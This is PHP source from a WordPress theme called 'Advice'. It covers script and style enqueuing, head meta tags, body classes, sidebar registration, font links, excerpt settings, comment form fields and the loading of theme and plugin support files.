//-------------------------------------------------------
//-- Theme scripts
//-------------------------------------------------------
if ( ! function_exists( 'advice_wp_scripts' ) ) {
/**
* Load a theme-specific scripts for the frontend.
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_wp_scripts', 1000);
*/
function advice_wp_scripts() {
$blog_archive = advice_storage_get( 'blog_archive' ) === true || is_home();
$blog_style = advice_get_theme_option( 'blog_style' );
$use_masonry = false;
if ( strpos( $blog_style, 'blog-custom-' ) === 0 ) {
$blog_id = advice_get_custom_blog_id( $blog_style );
$blog_meta = advice_get_custom_layout_meta( $blog_id );
if ( ! empty( $blog_meta['scripts_required'] ) && ! advice_is_off( $blog_meta['scripts_required'] ) ) {
$blog_style = $blog_meta['scripts_required'];
$use_masonry = strpos( $blog_meta['scripts_required'], 'masonry' ) !== false;
}
} else {
$blog_parts = explode( '_', $blog_style );
$blog_style = $blog_parts[0];
$use_masonry = advice_is_blog_style_use_masonry( $blog_style );
}
// Superfish Menu
// Attention! To prevent duplicate this script in the plugin and in the menu, don't merge it!
wp_enqueue_script( 'superfish', advice_get_file_url( 'js/superfish/superfish.min.js' ), array( 'jquery' ), null, true );
// Background video
$header_video = advice_get_header_video();
if ( ! empty( $header_video ) && ! advice_is_inherit( $header_video ) ) {
if ( advice_is_youtube_url( $header_video ) ) {
wp_enqueue_script( 'jquery-tubular', advice_get_file_url( 'js/tubular/jquery.tubular.js' ), array( 'jquery' ), null, true );
} else {
wp_enqueue_script( 'bideo', advice_get_file_url( 'js/bideo/bideo.js' ), array(), null, true );
}
}
// Merged scripts
if ( advice_is_off( advice_get_theme_option( 'debug_mode' ) ) ) {
wp_enqueue_script( 'advice-init', advice_get_file_url( 'js/__scripts' . ( advice_is_preview() || ! advice_optimize_css_and_js_loading() ? '-full' : '' ) . '.js' ), apply_filters( 'advice_filter_script_deps', array( 'jquery' ) ), null, true );
} else {
// Skip link focus
wp_enqueue_script( 'skip-link-focus-fix', advice_get_file_url( 'js/skip-link-focus-fix/skip-link-focus-fix.js' ), null, true );
// Theme scripts
wp_enqueue_script( 'advice-utils', advice_get_file_url( 'js/utils.js' ), array( 'jquery' ), null, true );
wp_enqueue_script( 'advice-init', advice_get_file_url( 'js/init.js' ), array( 'jquery' ), null, true );
}
// Load scripts for smooth parallax animation on the single post or on the post archive (if the option 'open_full_post_in_blog' is on)
if ( advice_get_theme_option( 'single_parallax' ) != 0
&& ( advice_is_singular( 'post' )
|| ( (int) advice_get_theme_option( 'open_full_post_in_blog' ) > 0 && ( is_home() || is_archive() || is_category() ) )
)
) {
advice_load_parallax_scripts();
}
// Load masonry scripts
if ( ( $blog_archive && $use_masonry ) || ( advice_is_singular( 'post' ) && str_replace( 'post-format-', '', get_post_format() ) == 'gallery' ) ) {
advice_load_masonry_scripts();
}
// Load tabs to show filters
if ( $blog_archive && ! is_customize_preview() && ! advice_is_off( advice_get_theme_option( 'show_filters' ) ) ) {
wp_enqueue_script( 'jquery-ui-tabs', false, array( 'jquery', 'jquery-ui-core' ), null, true );
}
// Comments
if ( advice_is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
// Media elements library
if ( advice_get_theme_setting( 'use_mediaelements' ) ) {
wp_enqueue_style( 'wp-mediaelement' );
wp_enqueue_script( 'wp-mediaelement' );
}
}
}
if ( ! function_exists( 'advice_localize_scripts' ) ) {
/**
* Localize a theme-specific scripts: add variables to use in JS in the frontend.
*
* Trigger a filter 'advice_filter_localize_script' to allow other modules add their variables to the localization array.
*
* Hooks: add_action( 'wp_footer', 'advice_localize_scripts' );
*/
function advice_localize_scripts() {
$video = advice_get_header_video();
wp_localize_script( 'advice-init', 'ADVICE_STORAGE', apply_filters( 'advice_filter_localize_script', array(
// AJAX parameters
'ajax_url' => esc_url( admin_url( 'admin-ajax.php' ) ),
'ajax_nonce' => esc_attr( wp_create_nonce( admin_url( 'admin-ajax.php' ) ) ),
// Site base url
'site_url' => esc_url( get_home_url() ),
'theme_url' => ADVICE_THEME_URL,
// Site color scheme
'site_scheme' => sprintf( 'scheme_%s', advice_get_theme_option( 'color_scheme' ) ),
// User logged in
'user_logged_in' => is_user_logged_in() ? true : false,
// Window width to switch the site header to the mobile layout
'mobile_layout_width' => 768,
'mobile_device' => wp_is_mobile(),
// Mobile breakpoints for JS (if window width less then)
'mobile_breakpoint_underpanels_off' => 768,
'mobile_breakpoint_fullheight_off' => 1025,
// Sidemenu options
'menu_side_stretch' => (int) advice_get_theme_option( 'menu_side_stretch' ) > 0,
'menu_side_icons' => (int) advice_get_theme_option( 'menu_side_icons' ) > 0,
// Video background
'background_video' => advice_is_from_uploads( $video ) ? $video : '',
// Video and Audio tag wrapper
'use_mediaelements' => advice_get_theme_setting( 'use_mediaelements' ) ? true : false,
// Resize video and iframe
'resize_tag_video' => false,
'resize_tag_iframe' => true,
// Allow open full post in the blog
'open_full_post' => (int) advice_get_theme_option( 'open_full_post_in_blog' ) > 0,
// Which block to load in the single posts
'which_block_load' => advice_get_theme_option( 'posts_navigation_scroll_which_block' ),
// Current mode
'admin_mode' => false,
// Strings for translation
'msg_ajax_error' => esc_html__( 'Invalid server answer!', 'advice' ),
'msg_i_agree_error' => esc_html__( 'Please accept the terms of our Privacy Policy.', 'advice' ),
) ) );
}
}
if ( ! function_exists( 'advice_load_masonry_scripts' ) ) {
/**
* Enqueue a masonry scripts (if need for the current page).
*/
function advice_load_masonry_scripts() {
static $once = true;
if ( $once ) {
$once = false;
wp_enqueue_script( 'imagesloaded' );
wp_enqueue_script( 'masonry' );
}
}
}
if ( ! function_exists( 'advice_load_parallax_scripts' ) ) {
/**
* Enqueue a parallax scripts (if need for the current page).
*/
function advice_load_parallax_scripts() {
if ( function_exists( 'trx_addons_enqueue_parallax' ) ) {
trx_addons_enqueue_parallax();
}
}
}
if ( ! function_exists( 'advice_load_specific_scripts' ) ) {
add_filter( 'advice_filter_enqueue_blog_scripts', 'advice_load_specific_scripts', 10, 5 );
/**
* Enqueue a blog-specific styles and scripts.
*
* Hooks: add_filter( 'advice_filter_enqueue_blog_scripts', 'advice_load_specific_scripts', 10, 5 );
*
* @param bool $load A filterable flag indicating whether scripts should be loaded by default (true)
* or they are already loaded by one of the handlers (false).
* @param string $blog_style A slug of the blog style.
* @param string $script_slug A slug of the script to load.
* @param array|bool $list A list with scripts to merge or false if called from enqueue_scripts.
* @param bool $responsive If true - need to load responsive styles, else - a main styles and scripts.
*
* @return bool A filtered flag indicating whether scripts should be loaded by default (true)
* or they are already loaded by one of the handlers (false).
*/
function advice_load_specific_scripts( $load, $blog_style, $script_slug, $list, $responsive ) {
if ( 'masonry' == $script_slug && false === $list ) { // if list === false - called from enqueue_scripts, else - called from merge_script
advice_load_masonry_scripts();
$load = false;
}
return $load;
}
}
//-------------------------------------------------------
//-- Head, body and footer
//-------------------------------------------------------
if ( ! function_exists( 'advice_wp_head' ) ) {
/**
* Add meta tags to the header for the frontend.
*
* Hooks: add_action( 'wp_head', 'advice_wp_head', 1 );
*/
function advice_wp_head() {
if ( ! advice_gutenberg_is_fse_theme() ) {
?>
<meta charset="<?php bloginfo( 'charset' ); ?>">
<?php
}
// Add ', maximum-scale=1' to the content of the meta name 'viewport' to disallow the page scaling.
?>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="format-detection" content="telephone=no">
<link rel="profile" href="//gmpg.org/xfn/11">
<?php
if ( advice_is_singular() && pings_open() ) {
?>
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
<?php
}
}
}
if ( ! function_exists( 'advice_add_body_classes' ) ) {
/**
* Add a theme-specific classes to the tag 'body'.
*
* Hooks: add_filter( 'body_class', 'advice_add_body_classes' );
*
* @param array $classes An array with classes for the tag 'body'.
*
* @return array A filtered array with a theme-specific classes for the tag 'body'.
*/
function advice_add_body_classes( $classes ) {
$classes[] = 'scheme_' . esc_attr( advice_get_theme_option( 'color_scheme' ) );
if ( is_customize_preview() ) {
$classes[] = 'customize_preview';
}
$blog_mode = advice_storage_get( 'blog_mode' );
$classes[] = 'blog_mode_' . esc_attr( $blog_mode );
$classes[] = 'body_style_' . esc_attr( advice_get_theme_option( 'body_style' ) );
if ( in_array( $blog_mode, array( 'post', 'page' ) ) || apply_filters( 'advice_filter_single_post_header', advice_is_singular( 'post' ) ) ) {
$classes[] = 'is_single';
} else {
$classes[] = ' is_stream';
$classes[] = 'blog_style_' . esc_attr( advice_get_theme_option( 'blog_style' ) );
if ( advice_storage_get( 'blog_template' ) > 0 ) {
$classes[] = 'blog_template';
}
}
if ( apply_filters( 'advice_filter_single_post_header', advice_is_singular( 'post' ) || advice_is_singular( 'attachment' ) ) ) {
$classes[] = 'single_style_' . esc_attr( advice_get_theme_option( 'single_style' ) );
}
if ( advice_sidebar_present() ) {
$classes[] = 'sidebar_show sidebar_' . esc_attr( advice_get_theme_option( 'sidebar_position' ) );
$classes[] = 'sidebar_small_screen_' . esc_attr( advice_get_theme_option( 'sidebar_position_ss' ) );
} else {
$expand = advice_get_theme_option( 'expand_content' );
// Compatibility with old versions
if ( "={$expand}" == '=0' ) {
$expand = 'normal';
} else if ( "={$expand}" == '=1' ) {
$expand = 'expand';
}
if ( 'narrow' == $expand && ! advice_is_singular( apply_filters('advice_filter_is_singular_type', array('post') ) ) ) {
$expand = 'normal';
}
$classes[] = 'sidebar_hide';
$classes[] = "{$expand}_content";
}
if ( advice_is_on( advice_get_theme_option( 'remove_margins' ) ) ) {
$classes[] = 'remove_margins';
}
$bg_image = advice_get_theme_option( 'front_page_bg_image' );
if ( is_front_page() && ! empty( $bg_image ) && advice_is_on( advice_get_theme_option( 'front_page_enabled', false ) ) ) {
$classes[] = 'with_bg_image';
}
$classes[] = 'trx_addons_' . esc_attr( advice_exists_trx_addons() ? 'present' : 'absent' );
$classes[] = 'header_type_' . esc_attr( advice_get_theme_option( 'header_type' ) );
$classes[] = 'header_style_' . esc_attr( 'default' == advice_get_theme_option( 'header_type' ) ? 'header-default' : advice_get_theme_option( 'header_style' ) );
$header_position = advice_get_theme_option( 'header_position' );
if ( 'over' == $header_position && advice_is_single() && ! has_post_thumbnail() ) {
$header_position = 'default';
}
$classes[] = 'header_position_' . esc_attr( $header_position );
$menu_side = advice_get_theme_option( 'menu_side' );
$classes[] = 'menu_side_' . esc_attr( $menu_side ) . ( in_array( $menu_side, array( 'left', 'right' ) ) ? ' menu_side_present' : '' );
$classes[] = 'no_layout';
if ( advice_get_theme_setting( 'fixed_blocks_sticky' ) ) {
$classes[] = 'fixed_blocks_sticky';
}
if ( advice_get_theme_option( 'blog_content' ) == 'fullpost' ) {
$classes[] = 'fullpost_exist';
}
return $classes;
}
}
if ( ! function_exists( 'advice_wp_footer' ) ) {
/**
* Load a customization styles with css rules added while a current page built.
*
* Hooks: add_action('wp_footer', 'advice_wp_footer');
*
* add_action('admin_footer', 'advice_wp_footer');
*/
function advice_wp_footer() {
// Add header zoom
$header_zoom = max( 0.2, min( 2, (float) advice_get_theme_option( 'header_zoom' ) ) );
if ( 1 != $header_zoom ) {
advice_add_inline_css( ".sc_layouts_title_title{font-size:{$header_zoom}em}" );
}
// Add logo zoom
$logo_zoom = max( 0.2, min( 2, (float) advice_get_theme_option( 'logo_zoom' ) ) );
if ( 1 != $logo_zoom ) {
advice_add_inline_css( ".custom-logo-link,.sc_layouts_logo{font-size:{$logo_zoom}em}" );
}
// Put inline styles to the output
$css = advice_get_inline_css();
if ( ! empty( $css ) ) {
wp_enqueue_style( 'advice-inline-styles', advice_get_file_url( 'css/__inline.css' ), array(), null );
wp_add_inline_style( 'advice-inline-styles', $css );
}
}
}
//-------------------------------------------------------
//-- Sidebars and widgets
//-------------------------------------------------------
if ( ! function_exists( 'advice_register_sidebars' ) ) {
/**
* Register a theme-specific widgetized areas.
*
* Hooks: add_action('widgets_init', 'advice_register_sidebars');
*/
function advice_register_sidebars() {
$sidebars = advice_get_sidebars();
if ( is_array( $sidebars ) && count( $sidebars ) > 0 ) {
$cnt = 0;
foreach ( $sidebars as $id => $sb ) {
$cnt++;
register_sidebar(
apply_filters( 'advice_filter_register_sidebar',
array(
'name' => $sb['name'],
'description' => $sb['description'],
// Translators: Add the sidebar number to the id
'id' => ! empty( $id ) ? $id : sprintf( 'theme_sidebar_%d', $cnt),
'before_widget' => '<aside class="widget %2$s">', // %1$s - id, %2$s - class
'after_widget' => '</aside>',
'before_title' => '<h5 class="widget_title">',
'after_title' => '</h5>',
)
)
);
}
}
}
}
if ( ! function_exists( 'advice_get_sidebars' ) ) {
/**
* Return a list with all theme-specific widgetized areas.
*
* @return array A list of the widgetized areas in format:
* [
* ['name' => 'Sidebar1 Name', 'description' => 'Sidebar1 Description'],
* ['name' => 'Sidebar2 Name', 'description' => 'Sidebar2 Description'],
* ...
* ]
*/
function advice_get_sidebars() {
$list = apply_filters(
'advice_filter_list_sidebars', array(
'sidebar_widgets' => array(
'name' => esc_html__( 'Sidebar Widgets', 'advice' ),
'description' => esc_html__( 'Widgets to be shown on the main sidebar', 'advice' ),
),
'header_widgets' => array(
'name' => esc_html__( 'Header Widgets', 'advice' ),
'description' => esc_html__( 'Widgets to be shown at the top of the page (in the page header area)', 'advice' ),
),
'above_page_widgets' => array(
'name' => esc_html__( 'Top Page Widgets', 'advice' ),
'description' => esc_html__( 'Widgets to be shown below the header, but above the content and sidebar', 'advice' ),
),
'above_content_widgets' => array(
'name' => esc_html__( 'Above Content Widgets', 'advice' ),
'description' => esc_html__( 'Widgets to be shown above the content, near the sidebar', 'advice' ),
),
'below_content_widgets' => array(
'name' => esc_html__( 'Below Content Widgets', 'advice' ),
'description' => esc_html__( 'Widgets to be shown below the content, near the sidebar', 'advice' ),
),
'below_page_widgets' => array(
'name' => esc_html__( 'Bottom Page Widgets', 'advice' ),
'description' => esc_html__( 'Widgets to be shown below the content and sidebar, but above the footer', 'advice' ),
),
'footer_widgets' => array(
'name' => esc_html__( 'Footer Widgets', 'advice' ),
'description' => esc_html__( 'Widgets to be shown at the bottom of the page (in the page footer area)', 'advice' ),
),
)
);
return $list;
}
}
//-------------------------------------------------------
//-- Theme fonts
//-------------------------------------------------------
if ( ! function_exists( 'advice_theme_fonts_links' ) ) {
/**
* Return a list with links for all theme-specific fonts in the format:
*
* [
* 'font1-slug' => 'font1-url',
* 'font2-slug' => 'font2-url',
* ...
* ]
*
* @param bool $separate Combine all Google fonts to the single link (if false)
* or add each font-face as separate link (if true)
*
* @return array An array with links for all theme-specific fonts.
*/
function advice_theme_fonts_links( $separate = false ) {
$links = array();
/*
Translators: If there are characters in your language that are not supported
by chosen font(s), translate this to 'off'. Do not translate into your own language.
*/
$google_fonts_enabled = ( 'off' !== _x( 'on', 'Google fonts: on or off', 'advice' ) );
$google_fonts_api = ( 'css2' !== _x( 'css2', 'Google fonts API: css or css2', 'advice' ) ? 'css' : 'css2' );
$adobe_fonts_enabled = ( 'off' !== _x( 'on', 'Adobe fonts: on or off', 'advice' ) );
$custom_fonts_enabled = ( 'off' !== _x( 'on', 'Custom fonts (included in the theme): on or off', 'advice' ) );
if ( ( $google_fonts_enabled || $adobe_fonts_enabled || $custom_fonts_enabled ) && ! advice_storage_empty( 'load_fonts' ) ) {
$load_fonts = advice_storage_get( 'load_fonts' );
if ( count( $load_fonts ) > 0 ) {
$google_fonts_subset = advice_get_theme_option( 'load_fonts_subset' );
$google_fonts = '';
$adobe_fonts = '';
foreach ( $load_fonts as $font ) {
$used = false;
$slug = advice_get_load_fonts_slug( $font['name'] );
// Custom (in the theme folder included) font
if ( $custom_fonts_enabled && empty( $font['styles'] ) && empty( $font['link'] ) ) {
$url = advice_get_file_url( "css/font-face/{$slug}/stylesheet.css" );
if ( ! empty( $url ) ) {
$links[ $slug ] = $url;
$used = true;
}
}
// Adobe font
if ( $adobe_fonts_enabled && ! empty( $font['link'] ) ) {
if ( ! in_array( $font['link'], $links ) ) {
$links[ $slug ] = $font['link'];
}
$used = true;
}
// Google font
if ( $google_fonts_enabled && ! $used ) {
$link = str_replace( ' ', '+', $font['name'] )
. ':'
. ( empty( $font['styles'] )
? ( 'css2' == $google_fonts_api
? 'ital,wght@0,400;0,700;1,400;1,700'
: '400,700,400italic,700italic'
)
: $font['styles']
);
if ( $separate ) {
$links[ $slug ] = esc_url( "https://fonts.googleapis.com/{$google_fonts_api}?family={$link}&subset={$google_fonts_subset}&display=swap" );
} else {
$google_fonts .= ( $google_fonts
? ( 'css2' == $google_fonts_api
? '&family='
: '|' // Attention! Using '%7C' instead '|' damage loading second+ fonts
)
: ''
)
. $link;
}
}
}
if ( $google_fonts_enabled && ! empty( $google_fonts ) && ! $separate ) {
$links['google_fonts'] = esc_url( "https://fonts.googleapis.com/{$google_fonts_api}?family={$google_fonts}&subset={$google_fonts_subset}&display=swap" );
}
}
}
return apply_filters( 'advice_filter_theme_fonts_links', $links );
}
}
if ( ! function_exists( 'advice_theme_fonts_for_editor' ) ) {
/**
* Return a list with links for all theme-specific fonts to use its as editor styles.
*
* @param bool $separate Combine all Google fonts to the single link (if false)
* or add each font-face as separate link (if true)
*
* @return array An array with links for all theme-specific fonts
*/
function advice_theme_fonts_for_editor( $separate = false ) {
$links = array_values( advice_theme_fonts_links( $separate ) );
if ( is_array( $links ) && count( $links ) > 0 ) {
for ( $i = 0; $i < count( $links ); $i++ ) {
$links[ $i ] = str_replace( ',', '%2C', $links[ $i ] );
}
}
return $links;
}
}
//-------------------------------------------------------
//-- The Excerpt
//-------------------------------------------------------
if ( ! function_exists( 'advice_excerpt_length' ) ) {
/**
* Return an excerpt length depends of the current blog style.
*
* Hooks: add_filter( 'excerpt_length', 'advice_excerpt_length' );
*
* @param int $length Current value of the length.
*
* @return int Filtered value of the length.
*/
function advice_excerpt_length( $length ) {
$blog_style = explode( '_', advice_get_theme_option( 'blog_style' ) );
return max( 0, round( advice_get_theme_option( 'excerpt_length' ) / ( in_array( $blog_style[0], array( 'classic', 'masonry', 'portfolio' ) ) ? 2 : 1 ) ) );
}
}
if ( ! function_exists( 'advice_excerpt_more' ) ) {
/**
* Return a string '…' to append to the excerpt.
*
* Hooks: add_filter( 'excerpt_more', 'advice_excerpt_more' );
*
* @param string $more A current string to append.
*
* @return string A theme-specific string to append.
*/
function advice_excerpt_more( $more ) {
return '…';
}
}
//-------------------------------------------------------
//-- Comments
//-------------------------------------------------------
if ( ! function_exists( 'advice_comment_form_fields' ) ) {
/**
* Reorder a list with fields for the comment form - put the field 'comment' to the end of the list.
*
* Hooks: add_filter('comment_form_fields', 'advice_comment_form_fields');
*
* @param array $comment_fields An array with fields for the comments form.
*
* @return array A reordered array with fields.
*/
function advice_comment_form_fields( $comment_fields ) {
if ( advice_get_theme_setting( 'comment_after_name' ) ) {
$keys = array_keys( $comment_fields );
if ( 'comment' == $keys[0] ) {
$comment_fields['comment'] = array_shift( $comment_fields );
}
}
return $comment_fields;
}
}
if ( ! function_exists( 'advice_comment_form_agree' ) ) {
/**
* Add a checkbox with "I agree ..." to the list of fields for the comments form.
*
* Hooks: add_filter('comment_form_fields', 'advice_comment_form_agree', 11);
*
* @param array $comment_fields An array with fields for the comments form.
*
* @return array A list with the comments form fields with a checkbox added.
*/
function advice_comment_form_agree( $comment_fields ) {
$privacy_text = advice_get_privacy_text();
if ( ! empty( $privacy_text )
&& ( ! function_exists( 'advice_exists_gdpr_framework' ) || ! advice_exists_gdpr_framework() )
&& ( ! function_exists( 'advice_exists_wp_gdpr_compliance' ) || ! advice_exists_wp_gdpr_compliance() )
) {
$comment_fields['i_agree_privacy_policy'] = advice_single_comments_field(
array(
'form_style' => 'default',
'field_type' => 'checkbox',
'field_req' => '',
'field_icon' => '',
'field_value' => '1',
'field_name' => 'i_agree_privacy_policy',
'field_title' => $privacy_text,
)
);
}
return $comment_fields;
}
}
//-------------------------------------------------------
//-- Thumb sizes
//-------------------------------------------------------
if ( ! function_exists( 'advice_theme_thumbs_sizes' ) ) {
/**
* Add a retina-ready dimensions to the list with thumb sizes.
*
* Hooks: add_filter( 'image_size_names_choose', 'advice_theme_thumbs_sizes' );
*
* @param $sizes
* @return mixed
*/
function advice_theme_thumbs_sizes( $sizes ) {
$thumb_sizes = advice_storage_get( 'theme_thumbs' );
$mult = advice_get_theme_option( 'retina_ready', 1 );
foreach ( $thumb_sizes as $k => $v ) {
$sizes[ $k ] = $v['title'];
if ( $mult > 1 ) {
$sizes[ $k . '-@retina' ] = $v['title'] . ' ' . esc_html__( '@2x', 'advice' );
}
}
return $sizes;
}
}
//-------------------------------------------------------
//-- Include theme (or child) PHP-files
//-------------------------------------------------------
// Load a theme core files
require_once ADVICE_THEME_DIR . 'includes/utils.php';
require_once ADVICE_THEME_DIR . 'includes/storage.php';
require_once ADVICE_THEME_DIR . 'includes/lists.php';
require_once ADVICE_THEME_DIR . 'includes/wp.php';
if ( is_admin() ) {
require_once ADVICE_THEME_DIR . 'includes/tgmpa/class-tgm-plugin-activation.php';
require_once ADVICE_THEME_DIR . 'includes/admin.php';
}
require_once ADVICE_THEME_DIR . 'theme-options/theme-customizer.php';
require_once ADVICE_THEME_DIR . 'front-page/front-page-options.php';
// Load a skins support
if ( defined( 'ADVICE_ALLOW_SKINS' ) && ADVICE_ALLOW_SKINS && file_exists( ADVICE_THEME_DIR . 'skins/skins.php' ) ) {
require_once ADVICE_THEME_DIR . 'skins/skins.php';
}
// Load next files after the skins support loaded to allow a file substitution from the skins folder
require_once advice_get_file_dir( 'theme-specific/theme-tags.php' );
require_once advice_get_file_dir( 'theme-specific/theme-about/theme-about.php' );
// Add a free theme support
if ( ADVICE_THEME_FREE ) {
require_once advice_get_file_dir( 'theme-specific/theme-about/theme-upgrade.php' );
}
// Load an image hover effects
$advice_file_dir = advice_get_file_dir( 'theme-specific/theme-hovers/theme-hovers.php' );
if ( ! empty( $advice_file_dir ) ) {
require_once advice_get_file_dir( 'theme-specific/theme-hovers/theme-hovers.php' ); // Substitution from skin is allowed
}
// Load a plugins support
$advice_required_plugins = apply_filters( 'advice_required_plugins', advice_storage_get( 'required_plugins' ) );
if ( is_array( $advice_required_plugins ) ) {
foreach ( $advice_required_plugins as $advice_plugin_slug => $advice_plugin_data ) {
$advice_plugin_slug = advice_esc( $advice_plugin_slug );
$advice_plugin_path = advice_get_file_dir( sprintf( 'plugins/%1$s/%1$s.php', $advice_plugin_slug ) );
if ( ! empty( $advice_plugin_path ) ) {
require_once $advice_plugin_path;
}
}
}